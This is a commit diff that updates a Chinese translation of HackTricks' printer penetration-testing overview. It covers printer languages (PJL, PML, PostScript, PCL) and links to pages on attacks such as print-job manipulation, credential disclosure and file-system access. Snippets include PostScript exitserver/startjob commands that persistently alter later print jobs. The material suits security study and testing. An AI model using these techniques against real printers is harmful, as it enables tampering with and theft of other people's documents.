mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['network-services-pentesting/pentesting-printers/README.md',
This commit is contained in:
parent
08be5a849d
commit
8f4a291f90
20 changed files with 612 additions and 814 deletions
|
@ -2,64 +2,60 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
请注意,**与打印机渗透测试相关的大部分内容**都是从[**http://hacking-printers.net/**](http://hacking-printers.net)上的**大量且令人惊叹的研究**中获取的。我试图在这里总结这些信息,但你始终可以**去源头了解更多关于这个主题的内容**。
|
||||
请注意,**大部分与打印机渗透测试相关的内容** 都是从 [**http://hacking-printers.net/**](http://hacking-printers.net) 上可以找到的**庞大而惊人的研究**中获取的。我试图在这里**总结**那些信息,但您总是可以**直接去源头学习更多关于该主题的信息**。
|
||||
|
||||
## 基础知识
|
||||
|
||||
下图显示了打印机语言封装的关系示意图:\\
|
||||
下面提供了关于打印机语言封装的示意关系图:
|
||||
|
||||
![打印机语言封装](http://hacking-printers.net/wiki/images/thumb/1/1d/Protocols.png/500px-Protocols.png)
|
||||
![打印机语言的封装](http://hacking-printers.net/wiki/images/thumb/1/1d/Protocols.png/500px-Protocols.png)
|
||||
|
||||
## 网络打印协议
|
||||
|
||||
将数据发送到打印机设备可以通过**USB/并行电缆**或通过**网络**完成。本wiki侧重于网络打印,但是大多数介绍的攻击也可以针对本地打印机执行。网络打印有各种奇特的协议,如Novell的[_NCP_](https://en.wikipedia.org/wiki/NetWare\_Core\_Protocol)或[_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk)。在Windows世界中,_SMB/CIFS_打印机共享变得非常流行。此外,一些设备支持通过通用协议(如_FTP_或_HTTP_文件上传)进行打印。然而,直接支持**网络**打印的**最常见的打印协议**是_**LPD**_**、_**IPP**_**和_**原始端口9100**_**打印**。网络打印协议可以直接受到攻击,例如利用打印机的LPD守护程序中的缓冲区溢出。然而,在许多攻击场景中,它们只是作为**部署恶意打印机语言代码的载体/通道**。请注意,**网络打印机通常支持多种协议来“打印”**文档,这扩大了攻击面。
|
||||
**发送数据**到打印机设备可以通过**USB/并行电缆**或通过**网络**。本wiki关注的是网络打印,但大多数介绍的攻击也可以针对本地打印机执行。有各种特殊的网络打印协议,如Novell的[_NCP_](https://en.wikipedia.org/wiki/NetWare_Core_Protocol)或[_AppleTalk_](https://en.wikipedia.org/wiki/AppleTalk)。在Windows世界中,_SMB/CIFS_ 打印共享变得相当流行。此外,一些设备支持通过通用协议如_FTP_或_HTTP_文件上传进行打印。然而,**网络**打印机直接支持的**最常见的打印协议**是_**LPD**_、_**IPP**_和_**原始端口9100**_打印。**网络打印协议可以直接受到攻击**,例如通过利用打印机LPD守护程序中的缓冲区溢出。然而,在许多攻击场景中,它们只充当**部署恶意打印机语言代码**的**载体/通道**。请注意,**网络打印机通常支持多种协议来‘打印’**文档,这增加了攻击面。
|
||||
|
||||
### **在这里了解更多关于**[**原始端口9100**](../9100-pjl.md)**的信息**。
|
||||
### **了解更多关于** [**原始端口9100在这里**](../9100-pjl.md)**。**
|
||||
|
||||
### **在这里了解更多关于**[**Pentesting 515中的LPD**](../515-pentesting-line-printer-daemon-lpd.md)**的信息**。
|
||||
### **了解更多关于** [**LPD在渗透测试515这里**](../515-pentesting-line-printer-daemon-lpd.md)**。**
|
||||
|
||||
### **在这里了解更多关于**[**Pentesting 631中的IPP**](../pentesting-631-internet-printing-protocol-ipp.md)**的信息**。
|
||||
### **了解更多关于** [**IPP在渗透测试631这里**](../pentesting-631-internet-printing-protocol-ipp.md)**。**
|
||||
|
||||
## 打印机控制语言
|
||||
|
||||
作业控制语言管理当前打印作业的设置,如输出托盘。虽然它通常位于打印协议和页面描述语言之间的可选层中,但功能可能重叠。供应商特定的作业控制语言的示例包括[CPCA](http://www.undocprint.org/formats/printer\_control\_languages/cpca)、[XJCL](http://www.undocprint.org/formats/printer\_control\_languages/xjcl)、[EJL](http://www.undocprint.org/formats/printer\_control\_languages/ejl)和**PJL** - 这是许多打印机支持的,并将在下面讨论。此外,**打印机控制和管理语言**旨在**影响**不仅仅是单个打印作业,而是整个设备。定义此任务的一个常见标准的方法是[NPAP](http://www.undocprint.org/formats/printer\_control\_languages/npap)。然而,它并没有得到广泛应用,只有Lexmark支持。其他打印机制造商使用SNMP或基于**PJL的**元语言**PML**。
|
||||
作业控制语言管理当前打印作业的设置,如输出托盘。虽然它通常作为打印协议和页面描述语言之间的可选层,但功能可能会重叠。供应商特定的作业控制语言示例包括[CPCA](http://www.undocprint.org/formats/printer_control_languages/cpca)、[XJCL](http://www.undocprint.org/formats/printer_control_languages/xjcl)、[EJL](http://www.undocprint.org/formats/printer_control_languages/ejl)和**PJL**——后者被多种打印机支持,将在下面讨论。此外,**打印机控制和管理语言**旨在**影响**的不仅仅是单个打印作业,而是**设备**作为一个**整体**。定义此任务的通用标准的一种方法是[NPAP](http://www.undocprint.org/formats/printer_control_languages/npap)。然而,它并没有建立自己的地位,只有Lexmark支持。其他打印机制造商则使用SNMP或其**基于PJL的**金属语言**PML**。
|
||||
|
||||
### PJL
|
||||
|
||||
打印作业语言(PJL)最初由HP引入,但很快成为打印作业控制的事实标准。'PJL位于其他打印机语言之上',可用于更改纸盘或大小等设置。但必须指出,**PJL不仅限于当前打印作业,因为某些设置可以永久更改**。PJL还可用于更改打印机的显示或在设备上读取/写入文件。由于供应商倾向于仅支持PJL参考中列出的命令子集并更喜欢添加专有命令,因此存在许多方言。**PJL还用于设置实际打印数据的文件格式**。如果没有明确的语言切换,打印机必须根据魔术数字来识别页面描述语言。下面显示了在将解释器切换到PostScript模式之前设置纸张大小和副本数的典型PJL命令:
|
||||
打印作业语言(PJL)最初由HP引入,但很快成为打印作业控制的事实标准。'PJL位于其他打印语言之上',可用于更改设置,如纸盘或大小。然而,必须指出的是,**PJL不仅限于当前的打印作业,因为某些设置可以被设为永久**。PJL还可以用来**更改打印机的显示或读/写设备上的文件**。有许多方言,因为供应商倾向于只支持PJL参考中列出的命令子集,并且更喜欢添加专有命令。**PJL还用于设置实际打印数据的文件格式**。在切换到PostScript模式之前,设置纸张大小和副本数量的典型PJL命令如下所示:
|
||||
```
|
||||
@PJL SET PAPER=A4
|
||||
@PJL SET COPIES=10
|
||||
@PJL ENTER LANGUAGE=POSTSCRIPT
|
||||
```
|
||||
在[**有关端口9100 '原始端口'的页面**](../9100-pjl.md)中,您可以找到有关**如何枚举PJL**的更多信息。
|
||||
在[**关于端口9100 'raw port'的页面**](../9100-pjl.md)中,您可以找到更多关于**如何枚举PJL**的信息。
|
||||
|
||||
### PML
|
||||
|
||||
**打印机管理语言**(PML)是一种专有语言,用于控制**HP打印机**。它基本上**结合了**SNMP**和PJL的功能。尽管公开可用的文档尚未发布,但[LPRng](https://en.wikipedia.org/wiki/LPRng)项目泄露了标准的部分内容:**PJL通过到PML和SNMP用户指南**将PML定义为“面向对象的请求-回复打印机管理协议”,并介绍了语法的基础知识。 PML嵌入在PJL中,**可用于读取和设置打印机设备上的SNMP值**。如果**防火墙阻止**对**SNMP**服务(161/udp)的访问,这尤其**有趣**。下面演示了在打印作业中使用PML检索`hrDeviceDescr`值(OID 1.3.6.1.2.1.25.3.2.1.3,设备的文本描述)的示例:
|
||||
**打印机管理语言**(PML)是一种用于控制**惠普打印机**的专有语言。它基本上**结合了** **SNMP** 和 **PJL** 的功能。尽管没有发布公开可用的文档,但是部分标准通过[LPRng](https://en.wikipedia.org/wiki/LPRng)项目被泄露:**PJL Passthrough to PML and SNMP User’s Guide** 定义了PML为‘一个面向对象的请求-回复打印机管理协议’,并对语法基础进行了介绍。PML嵌入在PJL中,并且**可以用来读取和设置打印机设备上的SNMP值**。如果**防火墙阻止**对**SNMP**服务(161/udp)的访问,这一点尤其**有趣**。下面演示了在打印作业中使用PML检索`hrDeviceDescr`值(OID 1.3.6.1.2.1.25.3.2.1.3,设备的文本描述)的用法:
|
||||
```
|
||||
> @PJL DMINFO ASCIIHEX="000006030302010301"
|
||||
< "8000000603030201030114106870204c617365724a65742034323530
|
||||
```
|
||||
打印机返回的字符串后半部分 `6870204c617365724a65742034323530` 是十六进制表示的 `hp LaserJet 4250`。可以看出,可以通过 PML 通过 PJL 调用(部分) SNMP 命令。PML 的一个安全敏感用途是通过普通打印作业将 HP 打印机 [恢复到出厂默认设置](./#factory-defaults),从而删除用户设置的密码等保护机制。
|
||||
|
||||
### UEL
|
||||
|
||||
通用退出语言(UEL)实际上**不是一个真正的作业控制“语言”,而是用于终止当前数据流的单个命令**:转义字符(`\x1b`),后跟 `%-12345X`。它最初是与 HP 的 PCL 一起引入的,并且**受到大多数现代激光打印机的支持**。“打印机驱动程序”的一个良好实践是在每个打印作业的开头和结尾处调用 UEL,以便停止/重新启动打印机语言的解释,并且每个作业都有自己独立的环境,如下所示:
|
||||
通用退出语言(UEL)实际上**并不是一个真正的作业控制‘语言’,而是一个用于终止当前数据流的单一命令**:转义字符(`\x1b`),后跟`%-12345X`。它最初是与HP的PCL一起引入的,并且**被大多数现代激光打印机支持**。‘打印机驱动程序’的一个好做法是在每个打印作业的开始和结束时调用UEL,这样就可以停止/重新开始打印语言的解释,并且每个作业都有自己的独立环境,如下所示:
|
||||
```
|
||||
\x1b%-12345X
|
||||
@PJL SET PAPER=A4
|
||||
|
@ -69,162 +65,161 @@
|
|||
...
|
||||
\x1b%-12345X
|
||||
```
|
||||
否则,例如在一个打印作业中设置的PJL设置,如纸张媒体大小或PostScript定义,会影响下一个作业。**UEL可以方便地将多个作业串联成一个发送到打印机的单个文件/数据流**。这可以用于欺骗**硬件页面计数器**或在**跨站点打印攻击**中切换打印语言。
|
||||
否则,例如,如果不这样做,PJL设置如纸张媒体大小或在一个打印作业中设置的PostScript定义将会影响下一个作业。**UEL可以方便地将多个作业串联成一个发送到打印机的单个文件/数据流**。这可以用来欺骗**硬件页面计数器**,或者在高级**跨站打印攻击**中切换打印语言。
|
||||
|
||||
## 页面描述语言
|
||||
|
||||
**页面描述语言**(PDL)指定了**实际文档的外观**。但必须指出,一些PDL提供了有限的作业控制,因此**页面描述和打印机/作业控制语言之间的明确界定并不总是可能的**。‘打印机驱动程序’的功能是将要打印的文件**转换**为打印机型号**理解的PDL**。请注意,一些低成本喷墨打印机根本不支持任何高级页面描述语言。所谓的基于主机或[GDI](https://en.wikipedia.org/wiki/Graphics\_Device\_Interface#GDI\_printers)打印机只接受简单的位图数据流,如[ZJS](http://www.undocprint.org/formats/page\_description\_languages/zjstream),而实际的渲染是由打印机驱动程序完成的。有各种各样的专有页面描述语言,如京瓷的[PRESCRIBE](http://www.undocprint.org/formats/page\_description\_languages/prescribe)、[SPL](http://www.undocprint.org/formats/page\_description\_languages/spl)、[XES](http://www.undocprint.org/formats/page\_description\_languages/xes)、[CaPSL](http://www.undocprint.org/formats/page\_description\_languages/capsl)、[RPCS](http://www.undocprint.org/formats/page\_description\_languages/rpcs)、[ESC/P](https://en.wikipedia.org/wiki/ESC/P)(主要用于点阵打印机)或[HP-GL](https://en.wikipedia.org/wiki/HPGL)和[HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2)(专为绘图仪设计)。新型打印机通常支持直接打印[PDF](https://en.wikipedia.org/wiki/Portable\_Document\_Format)和[XPS](https://en.wikipedia.org/wiki/Open\_XML\_Paper\_Specification)。**然而,最常见的“标准”页面描述语言是PostScript和PCL。**
|
||||
**页面描述语言**(PDL)指定了**实际文档的外观**。然而,必须指出的是,一些PDL提供有限的作业控制,因此**页面描述和打印机/作业控制语言之间的明确界限并不总是可能的**。‘打印机驱动程序’的功能是将要**打印**的**文件****翻译**成打印机型号能**理解**的**PDL**。请注意,一些低成本的喷墨打印机根本不支持任何高级页面描述语言。所谓的基于主机或[GDI](https://en.wikipedia.org/wiki/Graphics_Device_Interface#GDI_printers)打印机只接受像[ZJS](http://www.undocprint.org/formats/page_description_languages/zjstream)这样的简单位图数据流,而实际的渲染是由打印机驱动程序完成的。有各种专有的页面描述语言,如Kyocera的[PRESCRIBE](http://www.undocprint.org/formats/page_description_languages/prescribe)、[SPL](http://www.undocprint.org/formats/page_description_languages/spl)、[XES](http://www.undocprint.org/formats/page_description_languages/xes)、[CaPSL](http://www.undocprint.org/formats/page_description_languages/capsl)、[RPCS](http://www.undocprint.org/formats/page_description_languages/rpcs)、[ESC/P](https://en.wikipedia.org/wiki/ESC/P)(主要用于点阵打印机)或[HP-GL](https://en.wikipedia.org/wiki/HPGL)和[HP-GL/2](https://en.wikipedia.org/wiki/HPGL#HP-GL.2F2)(为绘图仪设计)。直接打印[PDF](https://en.wikipedia.org/wiki/Portable_Document_Format)和[XPS](https://en.wikipedia.org/wiki/Open_XML_Paper_Specification)也是新型打印机上常见的功能。**然而,最常见的‘标准’页面描述语言是PostScript和PCL。**
|
||||
|
||||
### PostScript(PS)
|
||||
### PostScript (PS)
|
||||
|
||||
术语“页面描述”可能会引起误解,因为**PostScript能够做的远不止创建矢量图形**。PostScript是一种基于堆栈的、**图灵完备**的编程语言,由Adobe创建,包含近400个用于算术、堆栈和图形操作的运算符以及各种数据类型,如数组或字典。\
|
||||
从技术上讲,访问PostScript解释器已经可以被归类为**代码执行**,因为任何算法函数理论上都可以在PostScript中实现。当然,在没有访问网络堆栈或其他操作系统库的情况下,可能只能进行任意的数学计算,如挖掘比特币。然而,PostScript能够进行基本的文件系统I/O,以存储经常使用的代码、图形或字体文件。\
|
||||
在打印机互联之前,这种功能的危险性**是有限的**,风险主要在主机型PostScript解释器的上下文中讨论。在这方面,封装的PostScript(EPS)也值得注意,因为它可以包含在其他文件格式中,以在主机上进行解释,如[LaTeX](https://en.wikipedia.org/wiki/LaTeX)文档。与**PJL**和**PCL**一样,**PostScript**支持主机和打印机之间的**双向通信**。\
|
||||
下面是一个将Hello world回显到stdout的示例PostScript代码:
|
||||
‘页面描述’这个术语可能会引起误解,因为**PostScript不仅仅能够创建矢量图形**。PostScript是一个基于堆栈的、**图灵完备**的编程语言,由近400个算术、堆栈和图形操作以及各种数据类型(如数组或字典)的操作符组成,由Adobe创建。\
|
||||
技术上讲,访问PostScript解释器已经可以被归类为**代码执行**,因为理论上任何算法功能都可以用PostScript实现。当然,如果没有访问网络堆栈或额外的操作系统库,其可能性限于任意数学计算,如挖掘比特币。然而,PostScript能够进行基本的文件系统I/O,以存储常用的代码、图形或字体文件。\
|
||||
最初设计为一个特性,这样的功能的危险在打印机互联之前是**有限的**,风险主要在主机基础的PostScript解释器的背景下讨论。在这方面,封装的PostScript(EPS)也值得注意,因为它可以包含在其他文件格式中,在主机上解释,如[LaTeX](https://en.wikipedia.org/wiki/LaTeX)文档。像**PJL**和**PCL**一样,**PostScript**支持主机和打印机之间的**双向通信**。\
|
||||
下面给出了一个PostScript代码示例,用于将Hello world回显到stdout:
|
||||
```
|
||||
%!
|
||||
(Hello world) print
|
||||
```
|
||||
Brother和Kyocera使用自己的PostScript克隆版本:**Br-Script**和**KPDL**。这些PostScript语言的变种并不完全兼容,特别是在安全功能方面,如退出服务器循环。PostScript可以用于各种攻击,例如[拒绝服务](http://hacking-printers.net/wiki/index.php/Denial\_of\_service)(例如通过无限循环),打印作业[操纵](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation)和[保留](http://hacking-printers.net/wiki/index.php/Print\_job\_retention),以及访问打印机的[文件系统](http://hacking-printers.net/wiki/index.php/File\_system\_access)。
|
||||
Brother和Kyocera使用他们自己的PostScript克隆版本:**Br-Script**和**KPDL**。这些PostScript语言的变种并不是100%兼容的,尤其是在安全特性方面,比如退出服务器循环。PostScript可以用于多种攻击,例如[拒绝服务](http://hacking-printers.net/wiki/index.php/Denial\_of\_service)(例如,通过无限循环)、打印作业[操纵](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation)和[保留](http://hacking-printers.net/wiki/index.php/Print\_job\_retention),以及获取打印机[文件系统](http://hacking-printers.net/wiki/index.php/File\_system\_access)的访问权限。
|
||||
|
||||
#### 退出服务器循环
|
||||
|
||||
通常,每个打印作业都封装在自己独立的环境中。**PostScript**的一个有趣特性是,程序可以绕过打印作业的封装,并修改后续作业的初始虚拟机。为此,它可以使用startjob,这是一个Level 2的功能:
|
||||
通常,每个打印作业都封装在自己的独立环境中。**PostScript**的一个有趣特性是程序**可以绕过打印作业封装**并改变后续作业的初始VM。为此,它可以使用startjob,一个Level 2特性:
|
||||
```
|
||||
true 0 startjob
|
||||
```
|
||||
或者exitserver(在包含作业服务器的所有实现中可用):
|
||||
或 exitserver(在包含作业服务器的所有实现中可用):
|
||||
```
|
||||
serverdict begin 0 exitserver
|
||||
```
|
||||
该功能由StartJobPassword控制,默认为`0`(比较凭据泄露)。由于作业服务器循环通常负责在作业之间清理解释器的状态,**在服务器循环之外进行的任何更改都将保留为解释器的永久状态,适用于所有后续作业**。换句话说,打印作业可以访问和修改其他作业。太棒了!
|
||||
|
||||
#### 操作符重定义
|
||||
|
||||
当**PostScript**文档**调用**一个**操作符**时,使用字典栈上找到的**第一个版本**。操作符通常驻留在systemdict字典中,但通过将新版本放入userdict字典中,可以实际上覆盖操作符,因为**用户定义的版本是字典栈上找到的第一个版本**。使用startjob/exitserver操作符,可以使这些更改变得永久-至少在打印机重新启动之前。下图显示了PostScript字典栈的结构:
|
||||
当一个 **PostScript** 文档**调用**一个**操作符**时,字典栈上**找到的第一个版本**将被使用。操作符通常位于 systemdict 字典中,但是通过将新版本放入 userdict 字典,可以实际上覆盖操作符,因为**用户定义的版本是字典栈上找到的第一个**。使用 startjob/exitserver 操作符,这样的更改可以变得永久性的 —— 至少直到打印机重启。下面给出了 PostScript 字典栈的示意图:
|
||||
|
||||
\
|
||||
[![The PostScript dictionary stack](http://hacking-printers.net/wiki/images/thumb/f/ff/Dictstack.png/300px-Dictstack.png)](http://hacking-printers.net/wiki/index.php/File:Dictstack.png)
|
||||
[![PostScript 字典栈](http://hacking-printers.net/wiki/images/thumb/f/ff/Dictstack.png/300px-Dictstack.png)](http://hacking-printers.net/wiki/index.php/File:Dictstack.png)
|
||||
|
||||
\
|
||||
**重新定义操作符的潜在影响**仅受创造力的限制。当打印其他合法文档并调用重新定义的操作符时,攻击者的版本将被执行。这可能导致各种攻击,例如[拒绝服务](http://hacking-printers.net/wiki/index.php/Document\_processing#Showpage\_redefinition)、打印作业[保留](http://hacking-printers.net/wiki/index.php/Print\_job\_retention)和[篡改](http://hacking-printers.net/wiki/index.php/Print\_job\_manipulation)。但请注意,这不一定是一个安全漏洞,而是一个存在了32年的语言特性,几乎适用于任何PostScript打印机和[RIP](https://en.wikipedia.org/wiki/Raster\_image\_processor)。
|
||||
**重新定义操作符的潜在影响**仅受限于创造力。当进一步的合法文档被打印并调用一个重新定义的操作符时,攻击者的版本将被执行。这可能导致各种攻击,如[拒绝服务](http://hacking-printers.net/wiki/index.php/Document_processing#Showpage_redefinition)、打印作业[保留](http://hacking-printers.net/wiki/index.php/Print_job_retention)和[操纵](http://hacking-printers.net/wiki/index.php/Print_job_manipulation)。然而请注意,这不一定是一个安全漏洞,而是一个32年的旧语言特性,几乎在任何 PostScript 打印机和 [RIP](https://en.wikipedia.org/wiki/Raster_image_processor) 中都可用。
|
||||
|
||||
### PCL
|
||||
|
||||
PCL 3和PCL 4添加了对字体和宏的支持,这两者都可以永久下载到设备上-但只能通过数字ID引用,而不是通过文件名引用,因为**不打算直接访问文件系统**。PCL 1到5由转义序列组成,后面跟着一个或多个表示要解释的命令的ASCII字符。PCL 6增强版或“PCL XL”使用二进制编码的面向对象协议。下面是一个**打印“Hello world”的示例PCL文档**:
|
||||
PCL 3 和 PCL 4 增加了对字体和宏的支持,这两者都可以永久下载到设备中 —— 然而只能通过数字 id 引用,而不是文件名,因为**不打算直接访问文件系统**。PCL 1 到 5 由转义序列组成,后跟一个或多个代表要解释的命令的 ASCII 字符。PCL 6 增强版或 ‘PCL XL’ 使用二进制编码的面向对象协议。**下面给出了一个打印 ‘Hello world’ 的 PCL 文档示例**:
|
||||
```
|
||||
<Esc>Hello world
|
||||
```
|
||||
由于其功能有限,从安全角度来看,PCL很难被利用,除非发现某些打印机制造商的PCL版本中存在有趣的专有命令。**PRET**工具实现了一个基于虚拟PCL的文件系统,它使用宏将文件内容和元数据保存在打印机的内存中。这种黑客攻击表明,即使是只支持最简化页面描述语言(如PCL)的设备也可以用来存储任意文件,如侵权材料。尽管将打印机变成文件共享服务本身并不是一个安全漏洞,但根据企业政策,它可能被视为“服务滥用”。
|
||||
```markdown
|
||||
由于其功能有限,除非发现某些打印机制造商的PCL版本中有趣的专有命令,否则从安全角度来看,PCL **难以被利用**。**PRET** 工具实现了一个 **基于PCL的虚拟文件系统**,它使用宏来 **将文件内容和元数据保存在打印机的内存中**。这种黑客技术表明,即使只支持像PCL这样的最简单页面描述语言的设备,也可以用来存储任意文件,如侵犯版权的材料。尽管将打印机变成文件共享服务本身不是一个安全漏洞,但根据公司政策,这可能被视为‘服务滥用’。
|
||||
|
||||
## 其他攻击
|
||||
## 杂项攻击
|
||||
|
||||
### USB驱动器或电缆
|
||||
|
||||
数据可以通过[USB](https://en.wikipedia.org/wiki/USB)或[并行](https://en.wikipedia.org/wiki/IEEE\_1284)电缆发送到本地打印机,并从打印机接收数据。**PRET**支持使用这两个通道与设备通信。此外,打印机和多功能打印机通常配有Type-A USB端口,允许用户直接从USB设备打印。\
|
||||
虽然插入USB驱动器**不提供双向通道**,但在拥挤的复印室使用它们可能不那么引人注目。显然,利用USB打印机需要攻击者获得对设备的物理访问权限。然而,对于大多数机构和公司来说,这并不完全是不现实的。与其他网络组件(如服务器或工作站)相比,获得对打印机的物理访问权限通常被认为较为容易。
|
||||
数据可以通过 [USB](https://en.wikipedia.org/wiki/USB) 或 [并行](https://en.wikipedia.org/wiki/IEEE_1284) 电缆发送到本地打印机并从中接收。**PRET** 支持这两个通道与设备通信。此外,打印机和多功能一体机通常带有Type-A USB端口,允许用户直接从USB设备打印。\
|
||||
虽然插入的USB驱动器 **不提供双向通道**,但在拥挤的复印室中使用它们可能看起来不那么引人注目。显然,利用USB打印机需要攻击者获得对设备的物理访问权限。然而,对于大多数机构和公司来说,这并非完全不切实际。通常认为,获得打印机的物理访问权限比获得服务器或工作站等其他网络组件的物理访问权限要容易。
|
||||
|
||||
### 跨站点打印
|
||||
### 跨站打印
|
||||
|
||||
攻击者可以通过滥用**客户端网络请求**来滥用与客户端内部网络中的任意打印机。\
|
||||
[**了解如何可能实现这一点。**](cross-site-printing.md)
|
||||
滥用 **客户端网络请求**,攻击者可以 **滥用任意打印机** 在连接到其恶意网页的客户端的内部网络中。\
|
||||
[**了解如何做到这一点,请点击这里。**](cross-site-printing.md)
|
||||
|
||||
### 滥用AD中的Spooler服务
|
||||
|
||||
如果您可以找到域内的任何**Spool服务监听**,您可能能够**滥用**它以**获取新的凭据**并**提升权限**。\
|
||||
[**在这里了解有关如何找到滥用Spooler服务的更多信息。**](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
如果你能在域内找到任何 **正在监听的Spool服务**,你可能能够 **滥用** 它来 **获取新的凭证** 和 **提升权限**。\
|
||||
[**更多关于如何找到和滥用Spooler服务的信息,请点击这里。**](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
|
||||
## 提权
|
||||
## 权限提升
|
||||
|
||||
### 出厂默认设置
|
||||
### 恢复出厂设置
|
||||
|
||||
有几种可能的方法可以将设备恢复到出厂默认设置,这是一个安全关键的功能,因为它会**覆盖用户设置的密码**等保护机制。\
|
||||
[**在这里了解更多信息。**](factory-defaults.md)
|
||||
有几种可能的方法可以将设备 **重置** 为出厂默认设置,这是一个安全关键的功能,因为它 **覆盖了保护机制**,如用户设置的密码。\
|
||||
[**在这里了解更多。**](factory-defaults.md)
|
||||
|
||||
### **计费绕过**
|
||||
### **绕过记账**
|
||||
|
||||
您可以**冒充现有或不存在的用户**,使用他们的帐户打印页面,或者**操纵**硬件或软件**计数器**以便能够打印更多页面。\
|
||||
[**在这里了解如何做到这一点。**](accounting-bypass.md)
|
||||
你可能能够 **冒充现有或不存在的用户** 来使用他们的账户打印页面,或者 **操纵** 硬件或软件 **计数器** 以打印更多页面。\
|
||||
[**学习如何做到这一点,请点击这里。**](accounting-bypass.md)
|
||||
|
||||
### **扫描仪和传真**
|
||||
|
||||
访问扫描仪或传真功能,您可能能够访问其他功能,但这完全取决于供应商。\
|
||||
[**在这里了解更多信息。**](scanner-and-fax.md)
|
||||
访问扫描仪或传真功能,你可能能够访问其他功能,但这一切都取决于供应商。\
|
||||
[**在这里了解更多。**](scanner-and-fax.md)
|
||||
|
||||
## **打印作业访问**
|
||||
|
||||
### **打印作业保留**
|
||||
|
||||
作业可以**保留在内存中**,并在以后的某个时刻从控制面板上**重新打印**,或者使用**PostScript**,您甚至可以**远程访问将要打印的所有作业,下载它们**并打印。\
|
||||
[**在这里了解更多信息。**](print-job-retention.md)
|
||||
作业可以 **保留在内存中** 并在 **稍后从控制面板打印**,或者使用 **PostScript** 你甚至可以 **远程访问所有将要打印的作业,下载它们** 并打印。\
|
||||
[**在这里了解更多。**](print-job-retention.md)
|
||||
|
||||
### **打印作业操纵**
|
||||
|
||||
您可以**向要打印的页面添加新内容**,**更改将要打印的所有内容**,甚至**替换某些字母或单词**。\
|
||||
[**在这里了解如何做到这一点。**](print-job-manipulation.md)
|
||||
你可以 **添加新内容** 到打印的页面,**更改所有将要打印的内容**,甚至 **只替换某些字母或单词。**\
|
||||
[**学习如何做到这一点,请点击这里。**](print-job-manipulation.md)
|
||||
|
||||
## **信息泄露**
|
||||
|
||||
### **内存访问**
|
||||
|
||||
您可以**转储**NVRAM内存并从中提取敏感信息(如密码)。\
|
||||
[**在这里阅读如何做到这一点。**](memory-access.md)
|
||||
你可能能够 **转储** **NVRAM** 内存并从中 **提取敏感信息**(如密码)。\
|
||||
[**阅读如何做到这一点,请点击这里。**](memory-access.md)
|
||||
|
||||
### **文件系统访问**
|
||||
|
||||
您可以通过滥用**PJL**或**PostScript**来**访问文件系统**。\
|
||||
[**在这里阅读如何做到这一点。**](file-system-access.md)
|
||||
你可能能够 **访问文件系统** 滥用 **PJL** 或 **PostScript**。\
|
||||
[**阅读如何做到这一点,请点击这里。**](file-system-access.md)
|
||||
|
||||
### **凭据泄露/暴力破解**
|
||||
### **凭证泄露/暴力破解**
|
||||
|
||||
您可以通过滥用**SNMP**或**LDAP**设置来**泄露密码**,或者可以尝试**暴力破解PJL**或**PostScript**。\
|
||||
[**在这里阅读如何做到这一点。**](credentials-disclosure-brute-force.md)
|
||||
你可能能够 **泄露密码**,滥用 **SNMP** 或 **LDAP** 设置,或者你可以尝试 **暴力破解 PJL** 或 **PostScript**。\
|
||||
[**阅读如何做到这一点,请点击这里**](credentials-disclosure-brute-force.md)**。**
|
||||
|
||||
## **代码执行**
|
||||
|
||||
### **缓冲区溢出**
|
||||
|
||||
已经在**PJL输入**和**LPD守护程序**中发现了几个**缓冲区溢出**,可能还有更多。\
|
||||
[**阅读此处获取更多信息。**](buffer-overflows.md)
|
||||
